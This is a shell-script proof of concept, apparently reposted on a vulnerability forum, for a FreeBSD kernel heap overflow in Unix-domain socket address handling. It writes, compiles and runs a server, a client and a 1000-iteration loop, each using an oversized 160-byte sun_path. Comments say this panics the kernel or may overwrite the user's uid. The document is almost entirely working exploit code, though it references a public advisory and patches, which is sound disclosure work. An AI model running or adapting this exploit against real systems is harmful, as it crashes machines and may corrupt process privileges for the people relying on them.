# see advisory &amp; patches for details:  
# http://www.securityfocus.com/archive/1/519864/30/0/threaded  
#  
# this PoC will usually result in a kernel panic with a read access  
# violation at 0x616161XX but sometimes the kernel will not crash straight  
# away (particularly if you shorten the length of 'sun_path' -- try 140 bytes),  
# and your uid (see output of `id`) may have been modified to the  
# decimal equivalent of 0x61616161 during the heap smash   
   
# write server code to srv.c   
cat > srv.c << _EOF  
#include <stdio.h>  
#include <sys/socket.h>  
#include <sys/un.h>  
#include <sys/types.h>  
#include <unistd.h>  
#include <string.h>  
   
struct socky {  
  short sun_family;  
  char sun_path[160];  
};  
   
int connhandler(int incoming)   
{  
  char buffer[256];  
  int n = 0;  
   
  n = read(incoming, buffer, 256);  
  buffer[n] = 0;  
   
  printf("%s
", buffer);  
  n = sprintf(buffer, "fbsd uipc socket heap overflow");  
  write(incoming, buffer, n);  
   
  close(incoming);  
  return 0;  
}  
   
int main(void)  
{  
  struct socky overfl0w;  
  int sock, incoming;   
  socklen_t alen;  
  pid_t child;  
  char buf[160];  
   
  sock = socket(PF_UNIX, SOCK_STREAM, 0);  
  if(sock < 0)  
    {  
      printf("socket() failed!
");  
      return 1;  
    }   
   
  memset(&amp;overfl0w, 0, sizeof(struct socky));  
   
  overfl0w.sun_family = AF_UNIX;  
  memset(buf, 0x61, sizeof(buf));  
  buf[sizeof(buf)-1] = 0x00;  
  strcpy(overfl0w.sun_path, buf);  
   
  if(bind(sock, (struct sockaddr *)&amp;overfl0w,   
      sizeof(struct socky)) != 0)  
    {  
      printf("bind() failed!
");  
      return 1;  
    }  
   
  if(listen(sock, 5) != 0)  
    {  
      printf("listen() failed!
");  
      return 1;  
    }  
   
  while((incoming = accept(sock, (struct sockaddr *)&amp;overfl0w, &amp;alen)) > -1)   
    {  
      child = fork();  
      if(child == 0)  
    {  
      return connhandler(incoming);  
    }  
      close(incoming);  
    }  
   
  close(sock);  
  return 0;  
}  
_EOF  
   
gcc srv.c -o srv  
   
# write the client code to client.c  
cat > client.c << _EOF  
#include <stdio.h>  
#include <sys/socket.h>  
#include <sys/un.h>  
#include <unistd.h>  
#include <string.h>  
   
struct socky {  
  short sun_family;  
  char sun_path[160];  
};  
   
int main(void)  
{  
  struct socky overfl0w;  
  int  sock, n;  
  char buffer[256], buf[160];  
   
  sock = socket(PF_UNIX, SOCK_STREAM, 0);  
  if(sock < 0)  
    {  
      printf("socket() failed!
");  
      return 1;  
    }  
   
  /* start with a clean address structure */  
  memset(&amp;overfl0w, 0, sizeof(struct sockaddr_un));  
   
  overfl0w.sun_family = AF_UNIX;  
  memset(buf, 0x61, sizeof(buf));  
  buf[sizeof(buf)-1] = 0x00;  
  strcpy(overfl0w.sun_path, buf);  
   
  if(connect(sock,   
         (struct sockaddr *)&amp;overfl0w,   
         sizeof(struct socky)) != 0)  
    {  
      printf("connect() failed!
");  
      return 1;  
    }  
   
  n = snprintf(buffer, 256, "panic");  
  write(sock, buffer, n);  
   
  n = read(sock, buffer, 256);  
  buffer[n] = 0;  
   
  printf("%s
", buffer);  
   
  close(sock);  
  return 0;  
}  
_EOF  
   
gcc client.c -o client  
   
# crash doesn't happen straight away, so loop the client to speed it up  
cat > loop.c << _EOF  
#include <stdio.h>  
   
int main() {  
for(int i = 0; i < 1000; i++) {  
system("./client");  
}  
}  
_EOF  
   
gcc loop.c -o loop  
   
./srv &amp;  
./loop


















公告:https://www.sitedirsec.com公布最新漏洞,请关注

TOP

返回列表